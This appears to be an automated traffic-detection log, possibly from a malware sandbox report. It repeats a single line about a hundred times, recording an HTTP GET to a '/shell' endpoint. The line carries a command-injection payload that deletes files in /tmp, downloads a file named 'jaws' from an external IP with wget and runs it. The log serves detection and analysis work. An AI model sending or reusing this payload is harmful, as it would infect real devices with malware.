Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

